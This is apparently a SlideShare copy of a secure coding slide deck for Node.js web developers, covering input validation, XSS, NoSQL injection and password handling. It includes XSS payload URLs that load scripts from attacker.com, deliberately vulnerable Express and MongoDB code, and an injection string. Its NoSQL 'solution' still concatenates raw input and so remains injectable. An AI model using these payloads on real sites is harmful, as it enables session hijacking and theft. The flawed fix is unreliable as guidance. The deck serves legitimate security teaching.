SlideShare a Scribd company logo
Secure Coding
Practices
Akash S Prakash, Neoito
How secure do you think this is ?
function add(a,b) {
c = a+b;
return c;
}
Why secure coding?
1. http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-
breaches-hacks/
2. https://en.wikipedia.org/wiki/Heartbleed
(https://tools.ietf.org/html/rfc6520)
(https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=4817504)
3. https://blog.qualys.com/laws-of-vulnerabilities/2015/01/27/the-ghost-vuln
erability
Golden Rule of Web Security
Never trust User Input!
How user Input should be viewed
Input Validations
“ All client input is hostile until proven otherwise or sanitized. “
● Perform client-side and server-side user input validations.
● Constrain, reject and sanitize input.
● The range of valid data is generally a more finite set than the range of
potentially malicious input.
● Constrain input for type, length, format, and range.
● Never directly inject user content into responses
● Validate all client provided data before processing, including all
parameters, URLs and HTTP header
Content
● Validate all input against a whitelist of allowed characters, whenever
possible
● Validate for expected data types:
○ const userInputAge = '32';
const userAge = Number.parseInt(userInputAge);
console.log('User is %d years old', userAge);
// User is 32 years old
● Use actively maintained validation modules than reduce use of custom
Regex for common purpose
Eg: email validations
Input entry points
● Query Parameters
● URL path
● PUT/POST parameters
● Cookies
● Headers
● File uploads
● Emails
● Form fields
● Web sockets
File Uploads
● All file uploads should be subjected to strict validation
● Node.js suggest multer
● Store uploaded files on Specific location:
○ Uploaded files should be stored in specific location without execution privilages and
directory listing
● Check file size and type before saving to storage. Never rely on file
extension
● Do not execute user uploaded content(Unless under a gun point, duh!)
○ If at gunpoint, use a library like Jailed that runs code in sandbox mode
Post Validation Actions
● Enforcement Actions:
○ Notify user the input failed to comply with the requirements and should be modified
○ Modify user submitted data on server side without notifying the user
● Advisory Action:
○ Allows unchanged data but inform the user that there was issues with the entered data
● Verification Action:
○ Suggest changes in the user input. User chooses whether to keep the data or change it
Eg: Billing forms
Sanitization
Sanitization refers to the process of removing or replacing submitted data.
When dealing with data, after the proper validation checks have been made,
an additional step which tends to be taken in order to strengthen data safety
is sanitization.
● Convert Single Less-Than Characters < to Entity
● Remove Line Breaks, Tabs and Extra White Space
● Url Request Path: Any input containing the dot-dot-slash(../) should be rejected
Output Encoding
● Cross-Site Scripting (XSS)
● NoSQL Injection
Cross-Site Scripting
● Cross-Site Scripting (XSS) vulnerabilities are one of the most prevalent
attacks involving web applications and JavaScript
● Types:
○ Server XSS - when untrusted data is included in an HTML response generated by the
server
○ Client XSS - when untrusted user supplied data is used to update the DOM with an unsafe
JavaScript call
● Server XSS
○ Occurs when untrusted data is included in an HTML response generated by the server
○ https://www.google.pt/search?q=JS+SCP
■ No results found for "JS SCP"
○ https://www.google.pt/search?q=<script>alert(XSS)</script>
■ <p>No results found for "<script>alert(XSS)<%2Fscript>"</p>
○ https://www.google.pt/search?q=<script>s=document.createElement("script"),s.src="//attacker.
com/ms.js",document.body.appendChild(s);<%2Fscript>
const express = require('express');
const db = require('../lib/db');
const router = express.Router();
router.get('/search', (req, res) => {
const results = db.search(req.query.q);
if (results.length === 0) {
return res.send('<p>No results found for "' + req.query.q + '"</p>');
}
});
● Client XXS
○ Occurs when untrusted user supplied data is used to update the DOM with an unsafe
JavaScript call
○ document.write('<script type="text/JavaScript" src="' + (location.search.split('req=')[1] || '')
+ '"></scr'+'ipt>');
○ location.search.split is not properly escaped, the req parameter can be manipulated by
an attacker to retrieve malicious JavaScript from a location he/she is in control of,
injecting it into the web page of which the victim is visiting
○ http://www.example.com/?req=https://www.attacker.com/poc/xss.js
○ Upon clicking it, the https://www.attacker.com/poc/xss.js script is requested by the ad
snippet, making it run in the www.example.com context.
○ Initial step of a Session Hijacking attack as an attacker's script may have access to the
session cookie (if it was not properly set as httpOnly ) or to the localStorage where a JSON
Web Token (JWT) may be found
Cross-Site Scripting Prevention
● Nodejs:
○ Both encodeURI and encodeURIComponent functions are available on Node.js global
scope , but more specialized packages like the xss-filters
var express = require('express');
var app = express();
var xssFilters = require('xss-filters');
app.get('/', function(req, res){
var firstname = req.query.firstname; //an untrusted input
collected from user
res.send('<h1> Hello, ' + xssFilters.inHTMLData(firstname)
+ '!</h1>');
});
app.listen(3000);
● Angular:
○ Angular already has some built-in protections to help developers dealing with output
encoding and XSS mitigation
○ By default, all values are considered untrusted/unsafe. This means that whenever a value
is inserted into the DOM from a template , property , attribute , style , class binding or
interpolation Angular sanitizes and escapes it
○ https://angular.io/guide/security
NoSQL Injection
● MongoDB
○ Whenever an application accepts user input as query parameters, malicious content can
be injected into the database unless some steps are taken to prevent it.
○ These three operations that allow arbitrary JavaScript expressions to run directly
on the server:
■ $where
■ mapReduce
■ group
● This query returns the document whose UserID is equal to the
req.query.id value
● Making req.query.id equals to 0; return true will lead to the
expression this.UserID = 0; return true which is the NoSQL equivalent
to: SELECT * FROM Users WHERE UserID = 0 OR 1 = 1
● Soln:
const dbQuery = {
$where: 'this.UserID = ' + req.query.id
}
db.Users.find(dbQuery);
const dbQuery = {
$where: 'this.UserID = new Number(' + req.query.id + ')'
}
db.Users.find(dbQuery);
Authentication and Password Management
● All authentication controls must be enforced on a trusted system
● Utilize standard and tested authentication controls
○ Eg: Passport
● Password entry should be obscured on user's screen but also the
remember me functionality should be disabled
○ <input type="password" name="passwd" autocomplete="off" />
● Communicating Authentication Data
○ Authentication credentials should be sent on HTTP POST requests only
○ When handling authentication errors, your application should not disclose which part of
the authentication data was incorrect
○ Who is registered - "invalid password" means that the username exists
○ How your system works - "invalid password" reveals how your application works
● Avoid using deprecated hashing algorithms (e.g. SHA-1, MD5, etc)
○ http://md5decrypt.net/en/Sha1/
● Always use salt for encryption
● Do not use the same salt for whole application
● Recommended hashing algorithms are bcrypt , PDKDF2 , Argon2 and
Scrypt
● Enforce password complexity requirements
● Passwords should be at least one day old before they can be changed
● Express-brute package for express allows request slowdown (after 5 failed
logins), as well as setting a daily maximum login attempt
number (1000)
● Enforce account disabling after an established number of invalid login
attempts (e.g., five attempts is common). The account must be disabled
for a period of time sufficient to discourage brute force guessing of
credentials, but not so long as to allow for a denial-of-service attack to be
performed
Error Handling and Logging
● Information, no matter how insignificant is seems, matters a lot in web
world.
References
● https://github.com/Checkmarx/JS-SCP/blob/master/build/js-webapp-scp.p
df
● https://www.slideshare.net/OWASPKerala/owasptalk-46926597
Thank you.

More Related Content

PPTX
Secure coding practices
Scott Hurrey
 
PDF
Secure coding-guidelines
Trupti Shiralkar, CISSP
 
ODP
Introduction to OWASP & Web Application Security
OWASPKerala
 
PDF
Secure coding presentation Oct 3 2020
Moataz Kamel
 
PDF
Secure Coding in C/C++
Dan-Claudiu Dragoș
 
PDF
Secure Coding for Java - An Introduction
Sebastien Gioria
 
PDF
OWASP Secure Coding Practices - Quick Reference Guide
Ludovic Petit
 
PPTX
Student Spring 2021
Denis Zakharov
 
Secure coding practices
Scott Hurrey
 
Secure coding-guidelines
Trupti Shiralkar, CISSP
 
Introduction to OWASP & Web Application Security
OWASPKerala
 
Secure coding presentation Oct 3 2020
Moataz Kamel
 
Secure Coding in C/C++
Dan-Claudiu Dragoș
 
Secure Coding for Java - An Introduction
Sebastien Gioria
 
OWASP Secure Coding Practices - Quick Reference Guide
Ludovic Petit
 
Student Spring 2021
Denis Zakharov
 

What's hot (20)

PDF
Secure code
ddeogun
 
PDF
Finacle - Secure Coding Practices
Infosys Finacle
 
PPTX
Secure programming with php
Mohmad Feroz
 
PPTX
OWASP TOP 10
Robert MacLean
 
PPTX
Secure Software Engineering
Rohitha Liyanagama
 
PDF
[OPD 2019] Life after pentest
OWASP
 
PDF
Secure Coding - Web Application Security Vulnerabilities and Best Practices
Websecurify
 
PPTX
Platform Security IRL: Busting Buzzwords & Building Better
Equal Experts
 
PPTX
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Security Bootcamp
 
PPTX
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
Jakub Kałużny
 
PPTX
Web Application Penetration Testing Introduction
gbud7
 
PDF
How to find Zero day vulnerabilities
Mohammed A. Imran
 
PDF
OWASP Top 10 - The Ten Most Critical Web Application Security Risks
All Things Open
 
PDF
Secure Coding principles by example: Build Security In from the start - Carlo...
Codemotion
 
PPTX
Secure Coding 101 - OWASP University of Ottawa Workshop
Paul Ionescu
 
PDF
Secure coding guidelines
Zakaria SMAHI
 
PDF
Secure PHP Coding
Narudom Roongsiriwong, CISSP
 
PPT
Security Testing
Kiran Kumar
 
PDF
The New OWASP Top Ten: Let's Cut to the Chase
Security Innovation
 
Secure code
ddeogun
 
Finacle - Secure Coding Practices
Infosys Finacle
 
Secure programming with php
Mohmad Feroz
 
OWASP TOP 10
Robert MacLean
 
Secure Software Engineering
Rohitha Liyanagama
 
[OPD 2019] Life after pentest
OWASP
 
Secure Coding - Web Application Security Vulnerabilities and Best Practices
Websecurify
 
Platform Security IRL: Busting Buzzwords & Building Better
Equal Experts
 
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Security Bootcamp
 
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
Jakub Kałużny
 
Web Application Penetration Testing Introduction
gbud7
 
How to find Zero day vulnerabilities
Mohammed A. Imran
 
OWASP Top 10 - The Ten Most Critical Web Application Security Risks
All Things Open
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Codemotion
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Paul Ionescu
 
Secure coding guidelines
Zakaria SMAHI
 
Secure PHP Coding
Narudom Roongsiriwong, CISSP
 
Security Testing
Kiran Kumar
 
The New OWASP Top Ten: Let's Cut to the Chase
Security Innovation
 
Ad

Similar to Neoito — Secure coding practices (20)

PPTX
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
LogeekNightUkraine
 
PDF
Owasp top 10 2013
Edouard de Lansalut
 
PDF
Coding Security: Code Mania 101
Narudom Roongsiriwong, CISSP
 
PDF
Securing TodoMVC Using the Web Cryptography API
Kevin Hakanson
 
PPTX
Security Best Practices for Bot Builders
Max Feldman
 
ODP
Security on Rails
David Paluy
 
PDF
Security .NET.pdf
Abhi Jain
 
PDF
Truetesters presents OWASP Top 10 Web Vulnerability
TrueTesters
 
PDF
Protecting the Web at a scale using consul and Elk / Valentin Chernozemski (S...
Ontico
 
PDF
The top 10 security issues in web applications
Devnology
 
PPTX
6 - Web Application Security.pptx
AlmaOraevi
 
PPTX
Lec4-WebClientSideExploitation.pptxdslkjhgfkjdshgfkjfhdkjg
arfaouisalim
 
PPTX
Secure Coding for NodeJS
Thang Chung
 
PPT
Web Apps Security
Victor Bucutea
 
ODP
Drupal Security Hardening
Gerald Villorente
 
ODP
Drupal Security Hardening
Gerald Villorente
 
PDF
Content Security Policy - Lessons learned at Yahoo
Binu Ramakrishnan
 
PPT
Application Security
florinc
 
PDF
Insecurity-In-Security version.1 (2010)
Abhishek Kumar
 
PDF
WordPress Security 101: Essential Security Practices Simplified
BlogVault Inc
 
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
LogeekNightUkraine
 
Owasp top 10 2013
Edouard de Lansalut
 
Coding Security: Code Mania 101
Narudom Roongsiriwong, CISSP
 
Securing TodoMVC Using the Web Cryptography API
Kevin Hakanson
 
Security Best Practices for Bot Builders
Max Feldman
 
Security on Rails
David Paluy
 
Security .NET.pdf
Abhi Jain
 
Truetesters presents OWASP Top 10 Web Vulnerability
TrueTesters
 
Protecting the Web at a scale using consul and Elk / Valentin Chernozemski (S...
Ontico
 
The top 10 security issues in web applications
Devnology
 
6 - Web Application Security.pptx
AlmaOraevi
 
Lec4-WebClientSideExploitation.pptxdslkjhgfkjdshgfkjfhdkjg
arfaouisalim
 
Secure Coding for NodeJS
Thang Chung
 
Web Apps Security
Victor Bucutea
 
Drupal Security Hardening
Gerald Villorente
 
Drupal Security Hardening
Gerald Villorente
 
Content Security Policy - Lessons learned at Yahoo
Binu Ramakrishnan
 
Application Security
florinc
 
Insecurity-In-Security version.1 (2010)
Abhishek Kumar
 
WordPress Security 101: Essential Security Practices Simplified
BlogVault Inc
 
Ad

More from Neoito (14)

PPTX
Neoito — NativeScript Best Coding Practices
Neoito
 
PDF
Neoito — *NIX kungfu for web devs
Neoito
 
PDF
Neoito — How modern browsers work
Neoito
 
PDF
Neoito — React 101
Neoito
 
PDF
Neoito — Scaling node.js
Neoito
 
PPTX
Neoito — Grid layout
Neoito
 
PDF
Neoito — Software licensing
Neoito
 
PPTX
Neoito — GitLab for project management
Neoito
 
PPTX
Neoito — Routing and navigation in Angular
Neoito
 
PDF
Neoito — Animations in Angular 5
Neoito
 
PDF
Neoito — A roadmap to Angular
Neoito
 
PDF
Neoito — Intro to WebSockets
Neoito
 
PDF
Neoito — Typography for the web
Neoito
 
PPTX
Neoito — Design patterns and depenedency injection
Neoito
 
Neoito — NativeScript Best Coding Practices
Neoito
 
Neoito — *NIX kungfu for web devs
Neoito
 
Neoito — How modern browsers work
Neoito
 
Neoito — React 101
Neoito
 
Neoito — Scaling node.js
Neoito
 
Neoito — Grid layout
Neoito
 
Neoito — Software licensing
Neoito
 
Neoito — GitLab for project management
Neoito
 
Neoito — Routing and navigation in Angular
Neoito
 
Neoito — Animations in Angular 5
Neoito
 
Neoito — A roadmap to Angular
Neoito
 
Neoito — Intro to WebSockets
Neoito
 
Neoito — Typography for the web
Neoito
 
Neoito — Design patterns and depenedency injection
Neoito
 

Recently uploaded (20)

PPTX
Can You Build Dashboards Using Open Source Visualization Tool.pptx
Varsha Nayak
 
PDF
vAdobe Premiere Pro 2025 (v25.2.3.004) Crack Pre-Activated Latest
imang66g
 
PDF
Salesforce Implementation Services Provider.pdf
VALiNTRY360
 
PPT
Why Reliable Server Maintenance Service in New York is Crucial for Your Business
Sam Vohra
 
PDF
49784907924775488180_LRN2959_Data_Pump_23ai.pdf
Abilash868456
 
PDF
49785682629390197565_LRN3014_Migrating_the_Beast.pdf
Abilash868456
 
PPTX
PFAS Reporting Requirements 2026 Are You Submission Ready Certivo.pptx
Certivo Inc
 
PPTX
slidesgo-unlocking-the-code-the-dynamic-dance-of-variables-and-constants-2024...
kr2589474
 
PPTX
Presentation about Database and Database Administrator
abhishekchauhan86963
 
PPTX
Presentation about variables and constant.pptx
safalsingh810
 
PDF
What to consider before purchasing Microsoft 365 Business Premium_PDF.pdf
Q-Advise
 
PPT
Activate_Methodology_Summary presentatio
annapureddyn
 
PPTX
Explanation about Structures in C language.pptx
Veeral Rathod
 
PPTX
AI-Ready Handoff: Auto-Summaries & Draft Emails from MQL to Slack in One Flow
bbedford2
 
PDF
lesson-2-rules-of-netiquette.pdf.bshhsjdj
jasmenrojas249
 
PPTX
Visualising Data with Scatterplots in IBM SPSS Statistics.pptx
Version 1 Analytics
 
PDF
ShowUs: Pharo Stream Deck (ESUG 2025, Gdansk)
ESUG
 
PPTX
oapresentation.pptx
mehatdhavalrajubhai
 
PDF
New Download FL Studio Crack Full Version [Latest 2025]
imang66g
 
PDF
Generating Union types w/ Static Analysis
K. Matthew Dupree
 
Can You Build Dashboards Using Open Source Visualization Tool.pptx
Varsha Nayak
 
vAdobe Premiere Pro 2025 (v25.2.3.004) Crack Pre-Activated Latest
imang66g
 
Salesforce Implementation Services Provider.pdf
VALiNTRY360
 
Why Reliable Server Maintenance Service in New York is Crucial for Your Business
Sam Vohra
 
49784907924775488180_LRN2959_Data_Pump_23ai.pdf
Abilash868456
 
49785682629390197565_LRN3014_Migrating_the_Beast.pdf
Abilash868456
 
PFAS Reporting Requirements 2026 Are You Submission Ready Certivo.pptx
Certivo Inc
 
slidesgo-unlocking-the-code-the-dynamic-dance-of-variables-and-constants-2024...
kr2589474
 
Presentation about Database and Database Administrator
abhishekchauhan86963
 
Presentation about variables and constant.pptx
safalsingh810
 
What to consider before purchasing Microsoft 365 Business Premium_PDF.pdf
Q-Advise
 
Activate_Methodology_Summary presentatio
annapureddyn
 
Explanation about Structures in C language.pptx
Veeral Rathod
 
AI-Ready Handoff: Auto-Summaries & Draft Emails from MQL to Slack in One Flow
bbedford2
 
lesson-2-rules-of-netiquette.pdf.bshhsjdj
jasmenrojas249
 
Visualising Data with Scatterplots in IBM SPSS Statistics.pptx
Version 1 Analytics
 
ShowUs: Pharo Stream Deck (ESUG 2025, Gdansk)
ESUG
 
oapresentation.pptx
mehatdhavalrajubhai
 
New Download FL Studio Crack Full Version [Latest 2025]
imang66g
 
Generating Union types w/ Static Analysis
K. Matthew Dupree
 

Neoito — Secure coding practices

  • 2. How secure do you think this is ? function add(a,b) { c = a+b; return c; }
  • 3. Why secure coding? 1. http://www.informationisbeautiful.net/visualizations/worlds-biggest-data- breaches-hacks/ 2. https://en.wikipedia.org/wiki/Heartbleed (https://tools.ietf.org/html/rfc6520) (https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=4817504) 3. https://blog.qualys.com/laws-of-vulnerabilities/2015/01/27/the-ghost-vuln erability
  • 4. Golden Rule of Web Security Never trust User Input!
  • 5. How user Input should be viewed
  • 6. Input Validations “ All client input is hostile until proven otherwise or sanitized. “ ● Perform client-side and server-side user input validations. ● Constrain, reject and sanitize input. ● The range of valid data is generally a more finite set than the range of potentially malicious input. ● Constrain input for type, length, format, and range. ● Never directly inject user content into responses
  • 7. ● Validate all client provided data before processing, including all parameters, URLs and HTTP header Content ● Validate all input against a whitelist of allowed characters, whenever possible ● Validate for expected data types: ○ const userInputAge = '32'; const userAge = Number.parseInt(userInputAge); console.log('User is %d years old', userAge); // User is 32 years old ● Use actively maintained validation modules than reduce use of custom Regex for common purpose Eg: email validations
  • 8. Input entry points ● Query Parameters ● URL path ● PUT/POST parameters ● Cookies ● Headers ● File uploads ● Emails ● Form fields ● Web sockets
  • 9. File Uploads ● All file uploads should be subjected to strict validation ● Node.js suggest multer ● Store uploaded files on Specific location: ○ Uploaded files should be stored in specific location without execution privilages and directory listing ● Check file size and type before saving to storage. Never rely on file extension ● Do not execute user uploaded content(Unless under a gun point, duh!) ○ If at gunpoint, use a library like Jailed that runs code in sandbox mode
  • 10. Post Validation Actions ● Enforcement Actions: ○ Notify user the input failed to comply with the requirements and should be modified ○ Modify user submitted data on server side without notifying the user ● Advisory Action: ○ Allows unchanged data but inform the user that there was issues with the entered data ● Verification Action: ○ Suggest changes in the user input. User chooses whether to keep the data or change it Eg: Billing forms
  • 11. Sanitization Sanitization refers to the process of removing or replacing submitted data. When dealing with data, after the proper validation checks have been made, an additional step which tends to be taken in order to strengthen data safety is sanitization. ● Convert Single Less-Than Characters < to Entity ● Remove Line Breaks, Tabs and Extra White Space ● Url Request Path: Any input containing the dot-dot-slash(../) should be rejected
  • 12. Output Encoding ● Cross-Site Scripting (XSS) ● NoSQL Injection
  • 13. Cross-Site Scripting ● Cross-Site Scripting (XSS) vulnerabilities are one of the most prevalent attacks involving web applications and JavaScript ● Types: ○ Server XSS - when untrusted data is included in an HTML response generated by the server ○ Client XSS - when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call
  • 14. ● Server XSS ○ Occurs when untrusted data is included in an HTML response generated by the server ○ https://www.google.pt/search?q=JS+SCP ■ No results found for "JS SCP" ○ https://www.google.pt/search?q=<script>alert(XSS)</script> ■ <p>No results found for "<script>alert(XSS)<%2Fscript>"</p> ○ https://www.google.pt/search?q=<script>s=document.createElement("script"),s.src="//attacker. com/ms.js",document.body.appendChild(s);<%2Fscript> const express = require('express'); const db = require('../lib/db'); const router = express.Router(); router.get('/search', (req, res) => { const results = db.search(req.query.q); if (results.length === 0) { return res.send('<p>No results found for "' + req.query.q + '"</p>'); } });
  • 15. ● Client XXS ○ Occurs when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call ○ document.write('<script type="text/JavaScript" src="' + (location.search.split('req=')[1] || '') + '"></scr'+'ipt>'); ○ location.search.split is not properly escaped, the req parameter can be manipulated by an attacker to retrieve malicious JavaScript from a location he/she is in control of, injecting it into the web page of which the victim is visiting ○ http://www.example.com/?req=https://www.attacker.com/poc/xss.js ○ Upon clicking it, the https://www.attacker.com/poc/xss.js script is requested by the ad snippet, making it run in the www.example.com context. ○ Initial step of a Session Hijacking attack as an attacker's script may have access to the session cookie (if it was not properly set as httpOnly ) or to the localStorage where a JSON Web Token (JWT) may be found
  • 16. Cross-Site Scripting Prevention ● Nodejs: ○ Both encodeURI and encodeURIComponent functions are available on Node.js global scope , but more specialized packages like the xss-filters var express = require('express'); var app = express(); var xssFilters = require('xss-filters'); app.get('/', function(req, res){ var firstname = req.query.firstname; //an untrusted input collected from user res.send('<h1> Hello, ' + xssFilters.inHTMLData(firstname) + '!</h1>'); }); app.listen(3000);
  • 17. ● Angular: ○ Angular already has some built-in protections to help developers dealing with output encoding and XSS mitigation ○ By default, all values are considered untrusted/unsafe. This means that whenever a value is inserted into the DOM from a template , property , attribute , style , class binding or interpolation Angular sanitizes and escapes it ○ https://angular.io/guide/security
  • 18. NoSQL Injection ● MongoDB ○ Whenever an application accepts user input as query parameters, malicious content can be injected into the database unless some steps are taken to prevent it. ○ These three operations that allow arbitrary JavaScript expressions to run directly on the server: ■ $where ■ mapReduce ■ group
  • 19. ● This query returns the document whose UserID is equal to the req.query.id value ● Making req.query.id equals to 0; return true will lead to the expression this.UserID = 0; return true which is the NoSQL equivalent to: SELECT * FROM Users WHERE UserID = 0 OR 1 = 1 ● Soln: const dbQuery = { $where: 'this.UserID = ' + req.query.id } db.Users.find(dbQuery); const dbQuery = { $where: 'this.UserID = new Number(' + req.query.id + ')' } db.Users.find(dbQuery);
  • 20. Authentication and Password Management ● All authentication controls must be enforced on a trusted system ● Utilize standard and tested authentication controls ○ Eg: Passport ● Password entry should be obscured on user's screen but also the remember me functionality should be disabled ○ <input type="password" name="passwd" autocomplete="off" /> ● Communicating Authentication Data ○ Authentication credentials should be sent on HTTP POST requests only ○ When handling authentication errors, your application should not disclose which part of the authentication data was incorrect ○ Who is registered - "invalid password" means that the username exists ○ How your system works - "invalid password" reveals how your application works
  • 21. ● Avoid using deprecated hashing algorithms (e.g. SHA-1, MD5, etc) ○ http://md5decrypt.net/en/Sha1/ ● Always use salt for encryption ● Do not use the same salt for whole application ● Recommended hashing algorithms are bcrypt , PDKDF2 , Argon2 and Scrypt ● Enforce password complexity requirements ● Passwords should be at least one day old before they can be changed ● Express-brute package for express allows request slowdown (after 5 failed logins), as well as setting a daily maximum login attempt number (1000)
  • 22. ● Enforce account disabling after an established number of invalid login attempts (e.g., five attempts is common). The account must be disabled for a period of time sufficient to discourage brute force guessing of credentials, but not so long as to allow for a denial-of-service attack to be performed
  • 23. Error Handling and Logging ● Information, no matter how insignificant is seems, matters a lot in web world.